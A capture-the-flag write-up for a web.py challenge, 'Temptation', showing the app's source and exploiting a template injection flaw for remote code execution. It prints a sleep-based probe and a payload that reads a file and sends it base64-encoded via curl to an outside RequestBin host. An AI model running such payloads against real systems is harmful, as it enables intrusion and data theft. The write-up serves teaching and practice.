📖 Introduction
Context Explanation
The “Temptation” challenge is a web application security exercise focusing on template injection vulnerabilities in Python web applications.
Directive
The goal is to retrieve a flag by exploiting vulnerabilities in the web application.
🛠️ Solution
Analyzing source code
First, we need to retrieve the application’s source code. The webpage contains a hidden comment suggesting to look at /?source
.
<html>
<head>
<title>Temptation</title>
</head>
<body>
<h1>Temptation challenge</h1>
<form action="/" method="POST">
<table>
<tr>
<th>
<label for="temptation">What is your temptation?</label>
</th>
<td>
<input id="temptation" name="temptation" type="password"/>
</td>
</tr>
<tr>
<th>
<label for="submit"></label>
</th>
<td>
<button id="submit" name="submit">submit</button>
</td>
</tr>
</table>
</form>
<!-- Look at me, I'm soo tempting! /?source -->
</body>
</html>
However, directly accessing this path doesn’t reveal anything.
After testing different inputs, we discover that adding any parameter value (e.g., /?source=anything
) reveals the source code.
import web
from web import form
web.config.debug = False
urls = (
'/', 'index'
)
app = web.application(urls, locals())
render = web.template.render('templates/')
FLAG = open("/tmp/flag.txt").read()
temptation_Form = form.Form(
form.Password("temptation", description="What is your temptation?"),
form.Button("submit", type="submit", description="Submit")
)
class index:
def GET(self):
try:
i = web.input()
if i.source:
return open(__file__).read()
except Exception as e:
pass
f = temptation_Form()
return render.index(f)
def POST(self):
f = temptation_Form()
if not f.validates():
return render.index(f)
i = web.input()
temptation = i.temptation
if 'flag' in temptation.lower():
return "Too tempted!"
try:
temptation = web.template.Template(f"Your temptation is: {temptation}")()
except Exception as e:
return "Too tempted!"
if str(temptation) == "FLAG":
return FLAG
else:
return "Too tempted!"
application = app.wsgifunc()
if __name__ == "__main__":
app.run()
The source code analysis reveals several key points:
- The application uses the
web.py
framework - The flag is stored in
/tmp/flag.txt
- A form asks for a “temptation” input
- Multiple security checks are implemented:
if 'flag' in temptation.lower():
return "Too tempted!"
if str(temptation) == "FLAG":
return FLAG
The interesting part is the template string evaluation using web.template.Template()
with an f-string, which is vulnerable to Python code injection.
temptation = web.template.Template(f"Your temptation is: {temptation}")()
Exploitation
The vulnerability lies in the template processing. While the application prevents using the word flag
directly and requires the final output to be FLAG
, we can bypass these restrictions using template injection.
- First, we confirm the vulnerability using a time-based payload:
${__import__('os').system('sleep 5')}
Access to the flag
- After confirming the RCE capability, we craft a payload to exfiltrate the flag:
${__import__('os').system('curl https://eohs7zi0yztnmqq.m.pipedream.net/$(cat /tmp/f*.txt | base64)')}
This payload:
- Uses
os.system()
to execute shell commands - Reads the flag file using
cat
with a wildcard to avoid using “flag” in the payload - Base64 encodes the content to ensure safe transmission
- Exfiltrates the data using
curl
to a RequestBin endpoint
- Decoding the received base64 string:
echo 'RU5Pe1QzTV9QbDRUXzNTXzRyM19TM2NVcmUhIX0=' | base64 -d
ENO{T3M_Pl4T_3S_4r3_S3cUre!!}
Tips & Tricks
- When dealing with template injection, remember that f-strings in template contexts can be particularly dangerous
- Base64 encoding is useful for exfiltrating data while avoiding special character issues
- RequestBin (or similar services) are valuable tools for data exfiltration in CTF challenges
- Using wildcards (
f*.txt
) can help bypass word blacklists - Always check source code comments, they often contain valuable hints